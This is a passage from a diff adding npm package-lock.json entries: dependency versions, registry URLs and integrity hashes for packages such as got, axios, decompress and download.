"https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.6.tgz", + "integrity": "sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==", + "requires": { + "defer-to-connect": "^2.0.0" + } + }, + "@types/cacheable-request": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.2.tgz", + "integrity": "sha512-B3xVo+dlKM6nnKTcmm5ZtY/OL8bOAOd2Olee9M1zft65ox50OzjEHW91sDiU9j6cvW8Ejg1/Qkf4xd2kugApUA==", + "requires": { + "@types/http-cache-semantics": "*", + "@types/keyv": "*", + "@types/node": "*", + "@types/responselike": "*" + } + }, + "@types/http-cache-semantics": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.1.tgz", + "integrity": "sha512-SZs7ekbP8CN0txVG2xVRH6EgKmEm31BOxA07vkFaETzZz1xh+cbt8BcI0slpymvwhx5dlFnQG2rTlPVQn+iRPQ==" + }, + "@types/keyv": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.2.tgz", + "integrity": "sha512-/FvAK2p4jQOaJ6CGDHJTqZcUtbZe820qIeTg7o0Shg7drB4JHeL+V/dhSaly7NXx6u8eSee+r7coT+yuJEvDLg==", + "requires": { + "@types/node": "*" + } + }, + "@types/node": { + "version": "16.7.10", + "resolved": "https://registry.npmjs.org/@types/node/-/node-16.7.10.tgz", + "integrity": "sha512-S63Dlv4zIPb8x6MMTgDq5WWRJQe56iBEY0O3SOFA9JrRienkOVDXSXBjjJw6HTNQYSE2JI6GMCR6LVbIMHJVvA==" + }, + "@types/responselike": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz", + "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==", + "requires": { + "@types/node": "*" + } + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "archive-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/archive-type/-/archive-type-4.0.0.tgz", + "integrity": "sha1-+S5yIzBW38aWlHJ0nCZ72wRrHXA=", + "requires": { + "file-type": "^4.2.0" + }, + "dependencies": { + "file-type": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-4.4.0.tgz", + "integrity": "sha1-G2AOX8ofvcboDApwxxyNul95BsU=" + } + } + }, + "asn1": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", + "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", + "requires": { + "safer-buffer": "~2.1.0" + } + }, + "assert-plus": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=" + }, + "async": { + "version": "2.6.3", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz", + "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==", + "requires": { + "lodash": "^4.17.14" + } + }, + "asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" + }, + "aws-sign2": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=" + }, + "aws4": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.11.0.tgz", + "integrity": "sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA==" + }, + "axios": { + "version": "0.21.1", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.1.tgz", + "integrity": "sha512-dKQiRHxGD9PPRIUNIWvZhPTPpl1rf/OxTYKsqKUDjBwYylTvV7SjSHJb9ratfyzM6wCdLCOYLzs73qpg5c4iGA==", + "requires": { + "follow-redirects": "^1.10.0" + } + }, + "base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" + }, + "basic-auth": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/basic-auth/-/basic-auth-1.1.0.tgz", + "integrity": "sha1-RSIe5Cn37h5QNb4/UVM/HN/SmIQ=" + }, + "bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", + "requires": { + "tweetnacl": "^0.14.3" + } + }, + "bl": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/bl/-/bl-1.2.3.tgz", + "integrity": "sha512-pvcNpa0UU69UT341rO6AYy4FVAIkUHuZXRIWbq+zHnsVcRzDDjIAhGuuYoi0d//cwIwtt4pkpKycWEfjdV+vww==", + "requires": { + "readable-stream": "^2.3.5", + "safe-buffer": "^5.1.1" + } + }, + "buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "buffer-alloc": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/buffer-alloc/-/buffer-alloc-1.2.0.tgz", + "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==", + "requires": { + "buffer-alloc-unsafe": "^1.1.0", + "buffer-fill": "^1.0.0" + } + }, + "buffer-alloc-unsafe": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/buffer-alloc-unsafe/-/buffer-alloc-unsafe-1.1.0.tgz", + "integrity": "sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg==" + }, + "buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=" + }, + "buffer-fill": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz", + "integrity": "sha1-+PeLdniYiO858gXNY39o5wISKyw=" + }, + "cacheable-lookup": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", + "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==" + }, + "cacheable-request": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-2.1.4.tgz", + "integrity": "sha1-DYCIAbY0KtM8kd+dC0TcCbkeXD0=", + "requires": { + "clone-response": "1.0.2", + "get-stream": "3.0.0", + "http-cache-semantics": "3.8.1", + "keyv": "3.0.0", + "lowercase-keys": "1.0.0", + "normalize-url": "2.0.1", + "responselike": "1.0.2" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=" + }, + "lowercase-keys": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.0.tgz", + "integrity": "sha1-TjNms55/VFfjXxMkvfb4jQv8cwY=" + } + } + }, + "call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "requires": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + } + }, + "caseless": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", + "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=" + }, + "clone-response": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz", + "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=", + "requires": { + "mimic-response": "^1.0.0" + } + }, + "colors": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz", + "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==" + }, + "combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "requires": { + "delayed-stream": "~1.0.0" + } + }, + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "content-disposition": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", + "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", + "requires": { + "safe-buffer": "5.1.2" + } + }, + "core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + }, + "corser": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/corser/-/corser-2.0.1.tgz", + "integrity": "sha1-jtolLsqrWEDc2XXOuQ2TcMgZ/4c=" + }, + "crypto-js": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.1.1.tgz", + "integrity": "sha512-o2JlM7ydqd3Qk9CA0L4NL6mTzU2sdx96a+oOfPu8Mkl/PK51vSyoi8/rQ8NknZtk44vq15lmhAj9CIAGwgeWKw==" + }, + "dashdash": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", + "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", + "requires": { + "assert-plus": "^1.0.0" + } + }, + "date-fns": { + "version": "2.23.0", + "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-2.23.0.tgz", + "integrity": "sha512-5ycpauovVyAk0kXNZz6ZoB9AYMZB4DObse7P3BPWmyEjXNORTI8EJ6X0uaSAq4sCHzM1uajzrkr6HnsLQpxGXA==" + }, + "debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "requires": { + "ms": "^2.1.1" + } + }, + "decode-uri-component": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", + "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=" + }, + "decompress": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/decompress/-/decompress-4.2.1.tgz", + "integrity": "sha512-e48kc2IjU+2Zw8cTb6VZcJQ3lgVbS4uuB1TfCHbiZIP/haNXm+SVyhu+87jts5/3ROpd82GSVCoNs/z8l4ZOaQ==", + "requires": { + "decompress-tar": "^4.0.0", + "decompress-tarbz2": "^4.0.0", + "decompress-targz": "^4.0.0", + "decompress-unzip": "^4.0.1", + "graceful-fs": "^4.1.10", + "make-dir": "^1.0.0", + "pify": "^2.3.0", + "strip-dirs": "^2.0.0" + }, + "dependencies": { + "make-dir": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz", + "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", + "requires": { + "pify": "^3.0.0" + }, + "dependencies": { + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=" + } + } + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=" + } + } + }, + "decompress-response": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", + "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", + "requires": { + "mimic-response": "^1.0.0" + } + }, + "decompress-tar": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-tar/-/decompress-tar-4.1.1.tgz", + "integrity": "sha512-JdJMaCrGpB5fESVyxwpCx4Jdj2AagLmv3y58Qy4GE6HMVjWz1FeVQk1Ct4Kye7PftcdOo/7U7UKzYBJgqnGeUQ==", + "requires": { + "file-type": "^5.2.0", + "is-stream": "^1.1.0", + "tar-stream": "^1.5.2" + }, + "dependencies": { + "file-type": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz", + "integrity": "sha1-LdvqfHP/42No365J3DOMBYwritY=" + } + } + }, + "decompress-tarbz2": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-tarbz2/-/decompress-tarbz2-4.1.1.tgz", + "integrity": "sha512-s88xLzf1r81ICXLAVQVzaN6ZmX4A6U4z2nMbOwobxkLoIIfjVMBg7TeguTUXkKeXni795B6y5rnvDw7rxhAq9A==", + "requires": { + "decompress-tar": "^4.1.0", + "file-type": "^6.1.0", + "is-stream": "^1.1.0", + "seek-bzip": "^1.0.5", + "unbzip2-stream": "^1.0.9" + }, + "dependencies": { + "file-type": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-6.2.0.tgz", + "integrity": "sha512-YPcTBDV+2Tm0VqjybVd32MHdlEGAtuxS3VAYsumFokDSMG+ROT5wawGlnHDoz7bfMcMDt9hxuXvXwoKUx2fkOg==" + } + } + }, + "decompress-targz": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-targz/-/decompress-targz-4.1.1.tgz", + "integrity": "sha512-4z81Znfr6chWnRDNfFNqLwPvm4db3WuZkqV+UgXQzSngG3CEKdBkw5jrv3axjjL96glyiiKjsxJG3X6WBZwX3w==", + "requires": { + "decompress-tar": "^4.1.1", + "file-type": "^5.2.0", + "is-stream": "^1.1.0" + }, + "dependencies": { + "file-type": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz", + "integrity": "sha1-LdvqfHP/42No365J3DOMBYwritY=" + } + } + }, + "decompress-unzip": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/decompress-unzip/-/decompress-unzip-4.0.1.tgz", + "integrity": "sha1-3qrM39FK6vhVePczroIQ+bSEj2k=", + "requires": { + "file-type": "^3.8.0", + "get-stream": "^2.2.0", + "pify": "^2.3.0", + "yauzl": "^2.4.2" + }, + "dependencies": { + "file-type": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-3.9.0.tgz", + "integrity": "sha1-JXoHg4TR24CHvESdEH1SpSZyuek=" + }, + "get-stream": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-2.3.1.tgz", + "integrity": "sha1-Xzj5PzRgCWZu4BUKBUFn+Rvdld4=", + "requires": { + "object-assign": "^4.0.1", + "pinkie-promise": "^2.0.0" + } + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=" + } + } + }, + "defer-to-connect": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", + "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==" + }, + "delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=" + }, + "dotenv": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-10.0.0.tgz", + "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==" + }, + "download": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/download/-/download-8.0.0.tgz", + "integrity": "sha512-ASRY5QhDk7FK+XrQtQyvhpDKanLluEEQtWl/J7Lxuf/b+i8RYh997QeXvL85xitrmRKVlx9c7eTrcRdq2GS4eA==", + "requires": { + "archive-type": "^4.0.0", + "content-disposition": "^0.5.2", + "decompress": "^4.2.1", + "ext-name": "^5.0.0", + "file-type": "^11.1.0", + "filenamify": "^3.0.0", + "get-stream": "^4.1.0", + "got": "^8.3.1", + "make-dir": "^2.1.0", + "p-event": "^2.1.0", + "pify": "^4.0.1" + }, + "dependencies": { + "got": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/got/-/got-8.3.2.tgz", + "integrity": "sha512-qjUJ5U/hawxosMryILofZCkm3C84PLJS/0grRIpjAwu+Lkxxj5cxeCU25BG0/3mDSpXKTyZr8oh8wIgLaH0QCw==", + "requires": { + "@sindresorhus/is": "^0.7.0", + "cacheable-request": "^2.1.1", + "decompress-response": "^3.3.0", + "duplexer3": "^0.1.4", + "get-stream": "^3.0.0", + "into-stream": "^3.1.0", + "is-retry-allowed": "^1.1.0", + "isurl": "^1.0.0-alpha5", + "lowercase-keys": "^1.0.0", + "mimic-response": "^1.0.0", + "p-cancelable": "^0.4.0", + "p-timeout": "^2.0.1", + "pify": "^3.0.0", + "safe-buffer": "^5.1.1", + "timed-out": "^4.0.1", + "url-parse-lax": "^3.0.0", + "url-to-options": "^1.0.1" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=" + }, + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=" + } + } + } + } + }, + "duplexer3": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz", + "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=" + }, + "ecc-jsbn": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", + "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=", + "requires": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, + "ecstatic": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/ecstatic/-/ecstatic-3.3.2.tgz", + "integrity": "sha512-fLf9l1hnwrHI2xn9mEDT7KIi22UDqA2jaCwyCbSUJh9a1V+LEUSL/JO/6TIz/QyuBURWUHrFL5Kg2TtO1bkkog==", + "requires": { + "he": "^1.1.1", + "mime": "^1.6.0", + "minimist": "^1.1.0", + "url-join": "^2.0.5" + } + }, + "end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "requires": { + "once": "^1.4.0" + } + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=" + }, + "eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==" + }, + "ext-list": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/ext-list/-/ext-list-2.2.2.tgz", + "integrity": "sha512-u+SQgsubraE6zItfVA0tBuCBhfU9ogSRnsvygI7wht9TS510oLkBRXBsqopeUG/GBOIQyKZO9wjTqIu/sf5zFA==", + "requires": { + "mime-db": "^1.28.0" + } + }, + "ext-name": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ext-name/-/ext-name-5.0.0.tgz", + "integrity": "sha512-yblEwXAbGv1VQDmow7s38W77hzAgJAO50ztBLMcUyUBfxv1HC+LGwtiEN+Co6LtlqT/5uwVOxsD4TNIilWhwdQ==", + "requires": { + "ext-list": "^2.0.0", + "sort-keys-length": "^1.0.0" + } + }, + "extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + }, + "extsprintf": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", + "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=" + }, + "fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "fd-slicer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", + "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=", + "requires": { + "pend": "~1.2.0" + } + }, + "file-type": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-11.1.0.tgz", + "integrity": "sha512-rM0UO7Qm9K7TWTtA6AShI/t7H5BPjDeGVDaNyg9BjHAj3PysKy7+8C8D137R88jnR3rFJZQB/tFgydl5sN5m7g==" + }, + "filename-reserved-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/filename-reserved-regex/-/filename-reserved-regex-2.0.0.tgz", + "integrity": "sha1-q/c9+rc10EVECr/qLZHzieu/oik=" + }, + "filenamify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/filenamify/-/filenamify-3.0.0.tgz", + "integrity": "sha512-5EFZ//MsvJgXjBAFJ+Bh2YaCTRF/VP1YOmGrgt+KJ4SFRLjI87EIdwLLuT6wQX0I4F9W41xutobzczjsOKlI/g==", + "requires": { + "filename-reserved-regex": "^2.0.0", + "strip-outer": "^1.0.0", + "trim-repeated": "^1.0.0" + } + }, + "follow-redirects": { + "version": "1.14.3", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.3.tgz", + "integrity": "sha512-3MkHxknWMUtb23apkgz/83fDoe+y+qr0TdgacGIA7bew+QLBo3vdgEN2xEsuXNivpFy4CyDhBBZnNZOtalmenw==" + }, + "forever-agent": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", + "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=" + }, + "form-data": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", + "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + } + }, + "from2": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz", + "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", + "requires": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.0" + } + }, + "fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" + }, + "function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + }, + "get-intrinsic": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz", + "integrity": "sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==", + "requires": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.1" + } + }, + "get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "requires": { + "pump": "^3.0.0" + } + }, + "getpass": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", + "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", + "requires": { + "assert-plus": "^1.0.0" + } + }, + "got": { + "version": "11.8.2", + "resolved": "https://registry.npmjs.org/got/-/got-11.8.2.tgz", + "integrity": "sha512-D0QywKgIe30ODs+fm8wMZiAcZjypcCodPNuMz5H9Mny7RJ+IjJ10BdmGW7OM7fHXP+O7r6ZwapQ/YQmMSvB0UQ==", + "requires": { + "@sindresorhus/is": "^4.0.0", + "@szmarczak/http-timer": "^4.0.5", + "@types/cacheable-request": "^6.0.1", + "@types/responselike": "^1.0.0", + "cacheable-lookup": "^5.0.3", + "cacheable-request": "^7.0.1", + "decompress-response": "^6.0.0", + "http2-wrapper": "^1.0.0-beta.5.2", + "lowercase-keys": "^2.0.0", + "p-cancelable": "^2.0.0", + "responselike": "^2.0.0" + }, + "dependencies": { + "@sindresorhus/is": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.0.1.tgz", + "integrity": "sha512-Qm9hBEBu18wt1PO2flE7LPb30BHMQt1eQgbV76YntdNk73XZGpn3izvGTYxbGgzXKgbCjiia0uxTd3aTNQrY/g==" + 